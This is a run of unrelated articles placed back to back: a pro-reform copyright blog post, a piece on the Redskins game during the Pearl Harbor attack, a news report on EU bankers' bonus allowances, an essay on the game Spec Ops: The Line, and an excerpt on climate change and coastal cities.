The copyright monopoly, as wet a blanket as it may seem, does not cover every conceivable act of copying. There are many acts of copying that are fully legal and not covered. But in the industry’s sense of entitlement, they have demanded — and received — compensation for the areas where their monopoly does not extend. Compensation from taxpayer money to a private industry. For not having a monopoly. Really, can you believe this?
In this compensation scheme, they collect ridiculous amounts of money every year for doing absolutely nothing. A lot of the money goes straight towards the war on our civil rights and to collect yet more taxpayer money in new “Daddy, I want a pony” schemes. For us, it’s a vicious circle. Anybody familiar with incentives knows that it’s an absolutely terrible way of optimizing production to give money to an industry regardless of whether they’re doing the right thing, the wrong thing, or no thing at all.
So, to summarize, the copyright industry has put itself in a position where they get insane amounts of money for doing absolutely nothing, and use that money to buy laws that give them even more money and restrict our freedoms of speech. That is not just unacceptable. That is repulsive.
It comes as no surprise that I think the copyright monopoly is harmful (or at best useless) as a whole, and that creativity, business, and civil liberties would be much better off without it. Having studied the topic for six years straight, I discover more and more arrows that point in this direction.
But I’m also pragmatic enough to realize that if you shoot for the moon and insist on not doing any steps in between, you’re not only never going to the moon, but you’re also never taking a single step forward. Besides, getting a small way to the moon may be enough to give you that great view you really wanted. In the same vein, 99% of the problems with today’s copyright monopoly can be solved with a much smaller reform that is both reasonable, achievable and doable.
When it comes to large matters, after all, you can’t change all of the rules of the game overnight. So let’s shoot for a balanced, reasonable proposal that restores our civil liberties while retaining some of today’s investment incentives in culture.
I’m borrowing this blueprint from the Green group in the European Parliament (where, in turn, it came from the Pirate delegation). Let’s try this for a legislation package in Europe, the United States, Australia, and everywhere else we can:
It must be made absolutely clear that the copyright monopoly does not extend to what an ordinary person can do with ordinary equipment in their home and spare time; it regulates commercial, intent-to-profit activity only. Specifically, file sharing is always legal.
Free sampling. There must be exceptions that make it legal to create mashups and remixes. Quotation rights, like those that exist for text, must be extended to sound and video.
Digital Restrictions Management should preferably be outlawed, as it is a type of fraud nullifying consumer and citizen rights, but at least, it must always be legal to circumvent.
The baseline commercial copyright monopoly is shortened to a reasonable five years from publication, extendable to twenty years through registration of the work in a copyright monopoly database.
The public domain must be strengthened.
Net neutrality must be guaranteed.
Levies on blank media are outlawed.
Overall, it must always be clear where the line goes; “the courts will sort it out” areas are not acceptable and tantamount to outlawing.
This reasonable, balanced, achievable, and doable proposal would solve 99% of today’s problems, while still maintaining all four aspects of the copyright monopoly. It solves the witch-hunt on teenagers sharing TV series. It solves the problem with orphan works and restores our access to the cultural heritage of the 20th century. It solves the problem with the copyright industry getting taxpayer money for nothing. On the other hand it still maintains a 20-year commercial monopoly (at the most) for investments in cultural productions, defeating every argument from the copyright industry lobby that the monopoly is needed for more culture to be created.
While I don’t agree with patent monopolies, it’s a good talking point here that if pharma companies can do with a 20-year commercial monopoly (patents), then that term should certainly suffice for Disney and Elvis, too.
“First word of Japan’s attack on Hawaii came from the White House,” The Post reported the next day, deep in its lede-all WAR! story. “It came at a time when thousands of Washingtonians were gathered in wind-swept Griffith Stadium watching a football game between the Washington Redskins and the Philadelphia Eagles.”
Before that game, the story lines had been pretty lame; could the 5-5 Redskins finish above .500? (They did.) Could they tie the Brooklyn Dodgers for second in the East, earning each man a playoff share in the neighborhood of $100? (The Dodgers also won, so they did not.) Could they break the 1940 season-attendance mark? (They did, barely, with a total attendance of 193,551.) Would they be ok with just a 30-man roster, after Ed Justice injured his leg and Dick Todd and Wilbur Moore “left for home”? (I guess they were.) And how would the “Georgetown Day” honors for three ex-Hoyas on the Eagles be received?
If you can believe it, most of these issues were discussed in the sports section’s day-after game report, which — somewhat remarkably — focused on football and not war.
Excerpts from that gamer:
The Redskins were up to their old tricks yesterday, of leaving it up to Sammy Baugh to pull them out of an embarrassing situation, and the passin’ Texan replied with one of his finest performances, which netted a 20-14 triumph over the Philadelphia Eagles in the season’s final game.
The Redskins were trailing 14-7, when Baugh’s fourth period club took over on its own 8-yard line and within eight minutes, Sammy found Joe Aguirre’s big mitts for two touchdowns.
The non-scoring moments of the second half were filled with crazy football; pass interceptions, fumbles, sensational passes or drives called back by the often booed officials and finally the desperate Thompson-led drive of the Eagles which ended in Vic Carroll’s interception and the ball game.
Hard to imagine writing something like that amid the obvious drama of the day. The AP report was similarly bereft of context:
Slingin Sammy Baugh rifled three touchdown passes to give the Washington Redskins a 20-14 victory over the Philadelphia Eagles in a National Football League game today.
Which left it to Shirley Povich’s column to cover the scene at what had to have been one of the strangest football games of all time for the press box folks, who knew about Pearl Harbor even while the fans were kept in the dark. Povich wrote about the experience 50 years later for The Post, but his original file was even more impressive. If you’ll forgive the length, here it is.
Japan Kicks Off!
War’s Outbreak is Deep Secret to 27,102 Redskin Game Fans
By Shirley Povich
“Keep it short.”
That innocent-sounding order flashed to its football reporter at the Redskins-Eagles game by the Associated Press headquarters downtown prefaced the jolt that was to follow later in the afternoon for 27,102 exciting fans at Griffith Stadium yesterday.
If the reporter was wondering at the sudden insignificance of his football “lead,” he understood fully a few minutes later in the first quarter when his office flashed this intimate message: “The Japanese have kicked off. War now!”
Unaware of the bombing of Hawaii and war in the Pacific, the bulk of the 27,102 in Griffith Stadium sat through the 2 ½ hour game, thrilling to the three touchdown passes of Sammy Baugh.
But to the jabbering press box workers and eaves-dropping fans in the vicinity, the action on the field below was a blur in the light of events in the Pacific. Somehow, with America at war and lives already lost, a football game had lost its importance.
For the crowd, though, there was a hint of something of importance in the air. As early as eight minutes of the opening quarter, the public address system began a field day of its own. Important persons were being paged, too many important persons to make it a coincidence.
Intermittently the public address announcer interrupted his football spiel to summon big-shot fans from their seats.
“Admiral W.H.P. Bland is asked to report to his office at once!” the big horns blared, midway of the first quarter. To the knowing, that meant the chief of the Bureau of Ordnance of the United States Navy.
“The Resident Commissioner of the Philippines, Mr. Joaquim Elizalde, is urged to report to his office immediately!” came another announcement a few minutes later.
By the end of the half, there was a buzzing in the grandstands, but Redskins officials, appraised of the news, refused to permit a public address announcement of the outbreak of war.
“We don’t want to contribute to any hysteria,” said General Manager Jack Espey in forbidding the announcement.
Reports that did reach the customers were set down for the most part as incredible rumor and gossip. There was no lessening of volume in their cheers for the Redskins. At the game’s end, there was a rush for the goal posts by hundreds of exuberant fans.
But by the end of the first half, a lone photographer was working the ball game. All other camera men had been hastily summoned by their offices to speed to the Japanese Embassy and other points of interest.
The paging of notables continued throughout the second half. “Joseph Umglumph of the Federal Bureau of Investigation is requested to report to the FBI office at once,” came an undistinct announcement during the between-half ceremonies.
“Capt. H.X. Fenn of the United States Army is asked to report to his offices at once,” was the announcement preceding the second-half kickoff.
Newspaper offices loaded the public address system with frantic calls for star reporters who were at the game. The names of circulation managers were blared through the big horns, commanding them to return downtown immediately, as the news offices prepared to hurry extra editions on the streets.
Before the end of the first quarter, the radio-listening wife of one newspaper editor demonstrated her own news sense and took no chances that her football fan husband might not know of the war. She telegraphed this message to Griffith Stadium: “Deliver to Section P, Top Row,Seat 27, opposite 25-yard line, East Side, Griffith Stadium: War with Japan Get to office.”
In a box on the 50-yard line, Cabinet Member Jesse Jones was handed a message and departed from the game.
But for the 27,102 customers the only thing in progress yesterday afternoon was the football game they were watching. They were on their feet in high glee when big Joe Aguirre took Baugh’s third touchdown pass for the winning score.
At the exits to the stadium at the finish, though, the news of war broke like a thunderclap as departing football fans encountered cab drivers and park employees who had been listening to radio reports of Japan’s attack on Hawaii.
“That settles it,” cracked one indignant football fan. “I’m going right home and tear down those Japanese lanterns.”
END
Not bad, eh?
Still, there was space in the sports section for other Redskins news, like this indignant response to Baugh not being named an All-Pro.
Followers of pro football today are wondering what a fellow has to do to get named on an all-star selection. The Associated Press’s All-Pro team, announced this morning, completely ignores Sammy Baugh, who has been the Redskins’ only threat this season. He had a brilliant season and almost all of his team’s points resulted from his dazzling aerial work. He only made honorable mention.
And by Dec. 9, the Redskins beat writer was covering the season-ending luncheon at “Harvey’s.”
“The general theme of the brief speechmaking was that the season was not the failure that many fans seemed to think,” he reported. “They had played good ball in defeat, had held the respect of Washington’s football public and there were no regrets from the management.”
Banks seeking to circumvent the EU's cap on bonuses for top staff could face further action from European regulators, a senior official has warned.
Michel Barnier, a vice-president of the European commission, with responsibility for financial services, said there could be "a coordinated policy response" to banks that dodge the EU bonus cap by paying allowances to their top staff.
The warning comes as the UK government sets out its case on Monday against the EU bonus cap in Europe's highest court.
The EU limited bankers' bonuses to one year's salary, or twice that amount with shareholders' approval, as part of a broader package of reforms aimed at encouraging banks to behave more responsibly, following widespread public anger at bailed-out banks paying lavish bonuses.
In response to the EU clampdown, which came into effect this year, several banks decided to pay their top executives allowances in cash or shares, instead of a bonus. Stuart Gulliver, the chief executive of HSBC, gets an additional £32,000 a week in allowances in top of his £1.2m salary. Bailed-out banks Lloyds Banking Group and Royal Bank of Scotland have awarded their top executives shares, while Barclays are among other banks with similar schemes.
In a letter to the European Banking Authority, which monitors the industry, Barnier said: "I would like to underline my strong concerns with regard to continuing reports of the use of these allowances. It is important to show a collective pro-active stance on this important matter and address the claims made that the spirit – if not the letter – of union law is being disregarded."
The European Banking Authority launched an investigation into allowance payments in June and was due to report at the end of the year, to allow regulators to take action ahead of next year's pay-setting round at the banks.
But Barnier is now urging them to speed up their work. "I would therefore be very grateful if you could share with us the results of your work on this issue as soon as possible and at the latest by the end of September, in order to ensure that we can address any concerns in a timely manner through a coordinated policy response."
Barnier can propose amendments to the law, but any substantial re-working would be seen through by his successor, who has yet to be named. Barnier's successor is expected to take office on 1 November, under a European commission headed by former Luxembourg prime minister Jean-Claude Juncker.
After being outvoted 26 to one on the EU bankers' bonus cap in 2013, the UK launched a legal challenge at the European court of justice.
A Treasury spokesman said the cap had been "rushed through without a proper impact assessment" and "could undermine financial stability by leading to higher fixed costs at banks".
I did them because I’m the hero.
2012 was the peak of the modern military shooter (MMS) genre, when Call of Duty was king of the world and every child spent Christmas day saving it from terrorists. Like all immensely popular videogame genres MMSs quickly ossified into a rigid formula. The hero is an American or British soldier who fights whoever Americans were scared of at the time (the Russians, the poor, people who don’t like America and have orbital doomsday satellites, etc) to save the world from whatever WMD they’ve cooked up this time. The gameplay is very linear, consisting of killing everyone in your way along a set path until the world is out of danger. By 2012 however players had begun to tire of this genre’s rigidities, with next year’s Call of Duty: Ghosts’ financial and critical disappointment sounding its death knell. The time was right for Spec-Ops: The Line.
Spec-Ops: The Line presents itself as just another low-budget MMS tailgating in Call of Duty’s slipstream. The player assumes the role of Captain Walker, a grizzled American Delta Force soldier on a mission to save a missing battalion of his comrades. The gameplay is straightforward, guiding the player along a linear track on which they kill everyone in their way. The game constantly gives the player reinforcement that what they’re doing is the right thing, and the only possible choice in their situation. But it is neither.
Midway through the game the player is presented with an overwhelming enemy force and instructed to drop white phosphorous on them from a mortar to clear the way to their objective. While the player does this the game switches to the infrared eye in the sky view seen in countless real-life airstrike videos, and which is popularly used in MMSs to let the player rain large-scale explosive death on the villains, but unlike those games Spec-Ops doesn’t let its player enjoy their carnage. After they’ve incinerated all resistance the player is made to walk through the scorched wasteland they’ve created, watching the charred bodies writhe in agony until their death rattles finally cease. At the end of the wreckage they come across the full horror of their crimes, as it turns out the area they just bombed was a refugee camp. It’s here, after half a game of misdirection, that Spec-Ops finally begins to reveal its true purpose: to violently deconstruct MMSs and everything they stand for.
The MMS genre flourished in the War on Terror years, properly kicking off in 2007 with Call of Duty: Modern Warfare (which ironically does not embody the jingoistic, murder-happy nature the genre took on almost immediately), and its political outlook is that of the Western military interventionist mindset which lead to the invasions and occupations of Iraq and Afghanistan during that decade. This worldview proliferated in the West after Reagan was elected after a decade of economic and civil strife. Reagan set out to revitalise his country’s sense of purpose by turning all political issues into simple moral fables of right and wrong, and presenting the world as one in which good would inexorably triumph over evil. He began effecting this by sending money and arms to Afghan mujahideen fighting the Soviets, who became the symbol of his vision for the world. He presented this conflict as a simple story of innocent Afghans threatened by evil, with America’s role being to intervene and save those innocents. This simple reading of the situation obscured the reality, in which a loose confederation of tribal warlords rebelled against the prior communist government over their poorly-executed land reforms, and the Soviets deposed that government in favour of their own as they feared the country would collapse into anarchy. Reagan’s narrative also assumed the country would be at peace once the Soviets left, but once that happened the warlords, no longer receiving American aid, ramped up the heroin trade to fund themselves and turned on each other. The resulting war levelled what remained of Kabul and eventually the Taliban prevailed as kings of the ashes.
When the Coalition invaded Afghanistan after 9/11 their idea of Afghan politics was equally simplistic, that of a land of good, noble people who really want American democracy, but are ruled by a singular, villainous organisation called the Taliban responsible for all evil in the country. After they overthrew the Taliban they appointed the local leaders who helped to run the new government, in the belief they supported everything else America wanted and would run a corruption-free democracy, as the Western good/evil binary does not allow for the idea that the ‘good guys’ may not be perfect or may disagree with you politically. But many of the new appointees were in fact the old warlords the Taliban had seized power from, and they immediately cornered the opium trade and embezzled hundreds of millions in American aid to spend on Dubai penthouses. When the Americans forced President Karzai to remove them from power he just appointed them elsewhere, reinstalling them with even more power thanks to American funding. The Coalition’s unyielding belief in their knowledge of the simplicity of the situation is what led, in the end, to the disaster Afghanistan has become.
MMSs adhere strictly to this good/evil binary. The heroes and villains are always clearly defined, and the most morally complex a story gets is if one of the good guys turns out to be the villain, but after the reveal the story simply shifts to a new clearly defined good/evil binary. Near the end of Modern Warfare 2 the player’s commanding officer is revealed as the bad guy, but the story simply becomes a slightly different story of the morally upright heroes fighting a new Saturday morning cartoon villain. He’s even aligned with a villainous PMC so as to avoid presenting the US army (to which the player character belongs) as in any way unheroic.
Spec-Ops however goes to great lengths to subvert this, deliberately obfuscating the situation in Dubai and who is meant to be sympathetic, in order to deconstruct the genre’s good/evil binary. Initially the player finds American soldiers being shot by militiamen who are taking orders from CIA agents, so they initially see the soldiers as sympathetic (this also exploits the player’s conditioning to see US soldiers as heroes and Arabs as villains). But they then discover the US soldiers shooting innocent civilians and rounding them up to be taken away and killed, and the player finds themselves working with a seemingly sympathetic CIA agent, so they assume the soldiers are the real villains and they should be siding with the locals. Then they find out the soldiers weren’t killing the civilians they rounded up after the player drops white phosphorous on what turns out to be a refugee camp the soldiers set up, and then in helping the CIA agent they end up destroying the city’s water supply, condemning everyone to a slow, horrible death. After this relentless upending of the player’s moral compass they’re left adrift in a moral no-man’s land with little more of an idea of the actual political situation than they had when they started. Ultimately Spec-Ops’ manipulation of the player’s desire to see everything in black and white terms is what lets it guide them to commit atrocity after atrocity, in their belief that by killing everyone in their way they will inevitably save the day.
This is another cornerstone of MMSs, the player’s sure knowledge that if they continue on their given mission and kill everyone who opposes them the forces of good will inevitably triumph. Even in games where the player commits horrible acts for shock value on the game’s part, like in Modern Warfare 2’s airport massacre level, they know that it will all end well in the end.
This ultimately stems from the strongly messianic element of American democracy, in which it’s seen as society’s perfect end point (when the USSR fell it was proclaimed ‘the end of history’). The problem with messianism though is that when you believe your message is perfect and its spread inevitable you can never believe anyone would honestly choose anything else. If they do refuse it there must be nefarious forces causing them to do so, and if those forces can be removed the world will be made better, and because the society this will lead to is perfect any means are justified in doing so.
The implication of the war in Afghanistan’s narrative’s discrete separation of good, freedom-loving Afghans and the evil Taliban was that if the latter were simply killed a peaceful new world would appear out of nowhere. But by 2006 many Afghans were beginning to fight back against their incredibly corrupt new government and the country was descending into anarchy. The simple narrative however did not allow for sincere disagreement, so the Coalition assumed the Taliban had returned. British troops were sent to Helmand to protect the regional government, assuring the locals that was their goal and that they were there to defeat the Taliban. When they went into towns to support the police they ended up unwittingly helping them oppress the locals in their violent control of the opium trade, so the locals started attacking the British, who laid waste to their towns assuming they were Taliban. This caused more people to join the fight against the British and the actual Taliban returned from Pakistan to join them, and the province plunged into a bloodbath as the British clung to their belief that no-one could oppose them unless they were Taliban and therefore had to be eradicated. Many locals also exploited this, as they realised the British would shoot anyone reported to them as Taliban, and so used the British as their own personal hitmen.
Spec-Ops exploits the player’s assumption that peace can be achieved simply by killing those standing in its way to convince the player to continue no matter how awful the consequences of their actions are. The game uses the standard guiding mechanics of the MMS genre in this regard: the linearity of the its levels and the use of markers and objectives telling the player where to go, the player proceeding wherever enemies are coming at them from after killing them all, and the characters simply telling the player what ‘needs’ to be done. The player’s familiarity with these tropes causes them to dissociate somewhat from their own actions in a moral sense. Their implicit trust of the game’s implication that everything will turn out okay if they continue on this path prevents them from really contemplating the consequences of their actions, keeping them from really questioning whether they’re doing the right thing until near the end.
The last aspect of the MMS and Western interventionist mindset Spec-Ops deconstructs is the firm belief in the inherent righteousness and innocence of military intervention. In both the soldiers involved are presumed to be inherently good and innocent people, and even if they do something horrible this is taken to be the exception, rather than the rule. Modern Warfare 2 dumps the player in an airport as an undercover US soldier taking part in a terrorist massacre, but the lack of buildup or foreknowledge on the player’s part distances them from it. For them the act is not premeditated and the game never confronts the player about it afterwards, so it can be easily dismissed as ‘it’s not my fault, the game made me do it’. At the end of Spec-Ops however the game takes the player to task for everything they’ve done, asking why they continued in their mission after each and every atrocity they committed made it clearer and clearer that their attempts to save everyone just racked up an increasingly absurd bodycount. It also initially presents both Walker and Konrad’s missions as inherently noble. The presence of American soldiers intervening in a foreign disaster at first appears to be a sign of hope, but in both cases it’s slowly revealed as a disastrous force.
Spec-Ops’ ultimate purpose is to deconstruct the blind, dogmatic belief of your own inherent righteousness and refusal to criticise your own ideals inherent in both in its genre and the Western interventionist mindset. Everyone who plays through it inevitably clings tighter and tighter as they go on to their own assurances that it will all be okay if they just keep going as a coping mechanism. Few people will ever take a step back to examine either the situation they’ve created or themselves, relentlessly narrowing their field of view until they don’t have to worry about it anymore. It’s not until the end when the game flat-out tells them that they realize the truth. That sometimes life is about realizing you’re not the hero.
References:
Bitter Lake (2015, dir. Adam Curtis)
America Right or Wrong: An Anatomy of American Nationalism by Anatol Lieven
This story is recommended by Longreads contributing editor Dana Snitzky.
An utter transformation of human habitation across the globe within one generation.
Milestones on the road toward climate chaos are all too frequent these days: in 2015, the Manua Loa Observatory in Hawaii reported that the daily mean concentration of CO 2 in the atmosphere had surpassed 400 parts per million (ppm) for the first time; each year Arctic sea ice levels grow lower and lower; permafrost in areas like Siberia and Alaska is melting, releasing dangerous quantities of methane into the atmosphere; and each year brings more violent storms and more severe droughts to different parts of the world. Indeed, news of apocalyptic climate-related events is so manifold that it can feel overwhelming, producing a kind of disaster fatigue. One recent announcement merits particular attention, however: in the summer of 2014, a team of NASA scientists announced conclusive evidence that the retreat of ice in the Amundsen Sea sector of West Antarctica had become unstoppable. This melting alone, they concluded, will drive global sea levels up by over 1 meter (3 feet). As the Pine Island, Thwaites, and other glaciers of the Amundsen Sea sector collapse into the ocean, the effect is expected to be like a cork removed from a bottle of champagne: the ice the glaciers held back will rush rapidly into the sea, and the entire West Antarctic ice sheet will collapse. Sea levels will consequently rise 3 to 5 meters (10–16 feet). In addition, it was recently discovered that the same process that is driving this collapse, the intrusion of warmer ocean water beneath the glaciers in West Antarctica, is also eroding key glaciers in East Antarctica. The East Antarctic ice sheet contains even more ice than the western sheet: the Totten glacier alone would account for 7 meters (23 feet) of sea level rise. As if this weren’t bad enough news, a similar process of melting is also taking place in Greenland, where fjords that penetrate far inland are carrying warm water deep underneath the ice sheet.
These reports overturn long-held assumptions about the stability of Greenland’s glaciers: until recently, scientists had predicted that Greenland’s ice sheet would stabilize once the glaciers close to the warming ocean had melted. The discovery of ice-bound fjords reaching almost sixty-five miles inland has major implications since the glacier melt will be much more substantial than anticipated. The Antarctic and Greenland ice sheets combined contain over 99 percent of the Earth’s glacial ice. If they were to melt completely, they would raise global sea levels a virtually inconceivable 65 meters (200 feet). Although it remains unclear exactly how long the disintegration of these ice sheets will take, the implications of such melting for the world’s coastal cities are stark, and still almost totally unacknowledged by the general public. As Robert DeConto, co-author of a recent study that predicts significantly faster melt rates in the world’s largest glaciers, points out, we’re already struggling with 3 millimeters per year of sea level rise, but if the polar ice sheets collapse, “We’re talking about centimeters per year. That’s really tough. At that point your engineering can’t keep up; you’re down to demolition and rebuilding.”
Shockingly, few orthodox scientific predictions of sea level rise have taken the disintegration of the Antarctic and Greenland ice sheets into consideration. The latest report by the Intergovernmental Panel on Climate Change (IPCC), for example, projects a high of three feet of sea level rise by 2100, but this prediction does not include a significant contribution from the West Antarctic ice sheet. Like the IPCC’s projection for Arctic sea ice collapse, which has moved up from 2100 to 2050 in the latest report, this prediction is clearly far too low. What explains such gross miscalculations? The protocols of scientific verifiability provide a partial explanation. The general public has urgently wanted to know, after city-wrecking hurricanes like Katrina and Sandy, whether the devastation was caused by climate change. But unfortunately scientists have until quite recently been unable to make direct links between particular extreme weather events and climate change in general. This, as environmental philosopher Dale Jamieson puts it in Reason in a Dark Time, would be like saying that a specific home run is “caused” by a baseball player’s batting average. If scientists are becoming less reticent to make these links, as the science of attribution grows more sophisticated and able to track the causes of weather extremes, the change is still occurring slowly.
Nevertheless, the IPCC’s failure to account for the destruction of the Antarctic and Greenland ice sheets can only add to skepticism toward their predictions, especially after they were widely attacked for their 2007 calculations about the speed of Himalayan glacial melting. Further fueled by the climate change denial industry, the IPCC’s own excessively rosy predictions for the future will only increase skepticism. In their 2000 report, for example, the body assumes that nearly 60 percent of hoped-for emissions reductions will occur independently of explicit mitigation measures. As the urban theorist Mike Davis has pointed out, the IPCC’s mitigation targets assume that profits from fossil capitalism will be recycled into green technology rather than penthouse suites in soaring skyscrapers. The IPCC projects a market-driven evolution toward a post-carbon economy, a set of assumptions that, as spiraling levels of greenhouse gas emissions since 2000 demonstrate all too clearly, are dead wrong. These projections concerning sea level rise and the vulnerability of coastal cities will have to be radically revised, especially after spectacular urban disasters hammer home the inadequacy of current projections. But these world-changing transformations will not take place in the distant future. Citing evidence drawn from the last major ice melt during the Eemian period, an interglacial phase about 120,000 years ago that was less than 1ºC warmer than it is today, climatologist James Hansen predicts that, absent a sharp and enduring reduction in greenhouse gas emissions, global sea levels are “likely to increase several meters over a timescale of 50 to 150 years.” Should they prove accurate, Hansen’s forecasts spell an utter transformation of human habitation across the globe within one generation.
A feckless, hedonistic binge to end all binges.
The IPCC’s lowball predictions are of a piece with one of the key ethical dilemmas of the Anthropocene Age, the era of human dominance over the planetary environment. Despite the increasingly destructive impacts of climate change around the planet, both cause and effect, and perpetrator and victim, are extremely difficult to pinpoint, either in time or space. Climate change is the ultimate form of slow violence. This has made it difficult to identify who should be responsible, and has led to political paralysis. As the philosopher Stephen Gardiner argues in A Perfect Moral Storm, three structural asymmetries create the present cul-de-sac. Around the globe, the hyperwealthy 1 percent are engaged in a feckless, hedonistic binge to end all binges, their systematic consumption obliterating the prospects of the poor, nature, and future generations. While they loot the planet, the rich live in well-protected penthouses and suburban garrisons, assiduously averting their eyes from the global majority, the swiftly deteriorating natural world, and the future they are so heedlessly obliterating. At present there is no way for future generations to interrupt the orgies of the rich, no way for the natural world to assert its rights, and slender chance for the victims of climate chaos to overthrow the tyranny of the 1 percent.
Disasters like Hurricane Sandy make us realize that we are victims of modernity’s technological accomplishments, but we find ourselves unable to halt the headlong rush toward disaster that our cities catalyze. Theorists of disaster have come up with various ways of making sense of this condition. Writing of Americans’ reactions during the Cold War to the possibility of total annihilation in nuclear warfare, the psychiatrist Robert J. Lifton describes a condition of psychic numbing into which people retreat when confronted with the threat of extinction, a psychological state of disavowal that helps make sense of contemporary reactions to a future of anthropogenic climate disruption. Building on this analysis, sociologist Kari Marie Norgaard has written of the social organization of denial that takes place in affluent countries such as Norway and the United States, where the majority of the population not only are not yet adversely affected by climate change but may be said to benefit from the continuing consumption of fossil fuels that imperils not just the future but increasingly wide portions of the planet at present. Similarly, the critical theorist and professional provocateur Slavoj Žižek argues that our responses to looming Armageddon are shaped by forms of collective denial, despair, and withdrawal.
Both pop culture and everyday life have become saturated by what might be called “catastrophic affect”—a visceral feeling that we are not just headed toward civilizational collapse but are already in the midst of it. The result has been a fascination with apocalypse, sometimes related to the overarching crisis of climate change, and sometimes of a more imaginative variety: ubiquitous zombies, global pandemics, tidal waves, flash freezes, famines. These provide people with an experience of climate catharsis, an ability to live out fearful fantasies of apocalyptic environmental and social breakdown, while also being soothed by what frequently double as thinly disguised settler-colonial jeremiads where strong white male protagonists lead a rag-tag group of survivors as they seek to reconstruct a purged social order. Contrasting with these sensational and utterly reactionary stories, photographers such as Subhankar Banerjee create ghostly aerial images of the shifting migration routes taken by caribou in the Arctic National Wildlife Refuge as the tundra melts under them, while James Balog documents the hasty retreat of the globe’s glaciers in sublime but unnerving time-lapse images. Yet all create images that challenge any notion that history progresses linearly, suggesting instead a present and future that is fragmented, incoherent, punctuated by disaster and, increasingly, apocalyptic.
Two great tides are converging on the world’s cities.
Christian Parenti begins his book Tropic of Chaos with a description of the body of a man named Ekaru Loruman. Loruman was a pastoralist from the Turkana tribe of northwestern Kenya, a man who tended cattle in the arid savannas of the Rift Valley. According to Parenti, he was killed during a cattle raid launched by members of the neighboring Pokot tribe, into whose territory the Turkana had ventured as their traditional grazing grounds were decimated by severe drought. Parenti uses Loruman’s death to engage in what he calls “climate war forensics,” an inquiry into the large geopolitical and climatological forces that lie behind the proximate causes of Loruman’s killing. For Parenti, the formerly colonial countries that lie within the global-spanning tropical zone are increasingly subject to a convergence of three factors: enduring civil strife that is the legacy of the proxy wars of the Cold War era; hollowed out and largely powerless state apparatuses produced by decades of neoliberal austerity programs in the global South; and anthropogenic climate change, which places increased stress on already over-taxed environmental resources such as the grazing grounds of the Turkana and Pokot peoples in the Rift Valley. The World Health Organization calls such overlapping crises “complex emergencies.” Climate change causes extreme weather conditions such as droughts that accelerate complex emergencies throughout the zone that Parenti calls the “tropics of chaos.”
Parenti tells us that Ekaru Loruman had three wives and eight children. He does not explain what happened to these women and children after Loruman’s death. Perhaps they struggled to keep Loruman’s remaining cattle alive in the face of hostile environmental and social conditions. Certainly they would have turned to fellow tribesmen and women for help, but given the conditions described by Parenti it seems unlikely that they would find easy sanctuary in a stable family of kinsmen and women. Perhaps Loruman’s wives and children would eventually have followed the footsteps of the millions driven off the land every year around the world. Abandoning Loruman’s bitterly contested and arid land, his wives and children might have sought refuge in a nearby town or city. There they would have expected to find higher standards of living and more peaceful existence, but they would also face yet another convergence, equally fearsome as the one Parenti described, a conjuncture with even greater significance for the future of humanity and life on Earth in general: the collision of an urbanizing humanity and the increasingly extreme forms of weather unleashed by climate change.
Two great tides are converging on the world’s cities, generating an unprecedented urban climax. The first of these is a human tide. In 2007, humanity became a predominantly city-dwelling species. Of the approximately 7 billion humans current living, 3.3 billion live in cities. But if the human condition is now an urban one, this urban humanity is not spread evenly across the world’s cities. Although urbanists in the global North often regard urbanization through the lens of city-building processes in Europe and North America over the last two centuries, most of today’s urban population lives in the developing world, where the vast majority of urban population growth will take place. These city-dwellers are to a significant extent refugees from policies of agricultural deregulation and financial liberalization. Enforced by tools of the developed world’s financial hegemony such as the World Bank and the International Monetary Fund, these policies of economic austerity pushed millions of peasants off the land and into slums in the rapidly growing but largely deindustrialized urban conglomerations of the global South during the last half-century. This bitter harvest of the worldwide agrarian crisis has been one of the largest transformations in human history. The neoliberal world order has essentially been a machine generating forms of extreme urbanization rooted in inequality. In the cities of the global South, one third to a half of the urban population lives in informal settlements. Residents of these unplanned zones face highly difficult conditions in their struggle to survive. As Mike Davis puts it, “Instead of cities of light soaring toward heaven, much of the twenty-first century urban world squats in squalor, surrounded by pollution, excrement, and decay.” Davis has been criticized for the hyperbolic tenor of his description of the neoliberal “planet of slums,” and somewhat unjustly has been charged with ignoring the everyday forms of human solidarity that knit together even the poorest informal settlements. Nonetheless, his account captures the radical challenges occasioned by this fundamental transformation in the human condition (even if he fails to discuss climate change at length).
The hazardous nature of what Davis calls slum ecology is a key element of contemporary urbanization. The only land available to the poor tends to be located in the most disaster-prone precincts of cities, on terrain that has not been developed because of the natural perils—from landslides to floods—that make it unsuitable for elite habitation. Often urban squatters live in the midst of toxic landfills or industrial waste dumps, on the verges of railways and electricity lines, or in low-lying, floodprone land. Their vulnerability to environmental disasters is an extension of the harsh social calculus that drives them to live in dangerous sites. In addition, simply by living in these places, the poor generate conditions that threaten their own lives, including what Davis calls an “excremental surplus.” Since few slums have functional sanitary infrastructure, illnesses related to water supply, waste disposal, and garbage kill thousands of people around the world every day. This lack of infrastructure is, in many cases, a legacy of colonialism, when European settlers viewed the colonized as inherently unworthy of living in cities, and consequently systematically denied the amenities of modernity to urban neighborhoods where the indigenous lived. The wretched legacy of this colonial infrastructural has been intensified rather than ameliorated in recent decades by the moves of international financial institutions such as the World Bank to privatize sewage systems and water treatment plants in the cities of the global South.
Exacerbating this hazardous slum ecology, the vast majority of the world’s city dwellers lie directly in the path of increasingly extreme forms of weather. Exiled by austerity, concomitant civil conflicts, and climatic turbulence into the world’s megacities, an increasingly large proportion of humanity finds itself especially vulnerable to the second great transforming force of our age: anthropogenic climate disruption. Close to 70 percent of the world’s population today lives in droughtprone areas; in cities, the heat-island effect can intensify the impact of heat waves and bring deadly infectious diseases such as meningitis, malaria, dengue, and the West Nile Virus. In addition, nearly two thirds of the world’s cities with more than 5 million inhabitants are partially located in low-elevation coastal zones, where they are subject to ever more frequent and intense cyclones and coastal storms catalyzed by climate change. Close to 2 billion people, 38 percent of humanity, currently live in densely populated coastal areas that are highly prone to devastating floods. Tropical storms and cyclones currently affect 1.4 billion people each year, 24 percent of the world’s contemporary urbanized population. The number of people exposed to cyclones alone is projected to more than double to 680 million by 2050. The areas most prone to such disasters extend in a band across the planet’s tropics, including urban regions in Central America, the Caribbean, the Bay of Bengal, China, and the Philippines. In this urban “tropics of chaos,” the calamities that befall slum dwellers must be seen not as “natural” disasters, but as anthropogenic climate disruptions in which uneven development and social inequality play a key role.
Why is there not more public alarm?
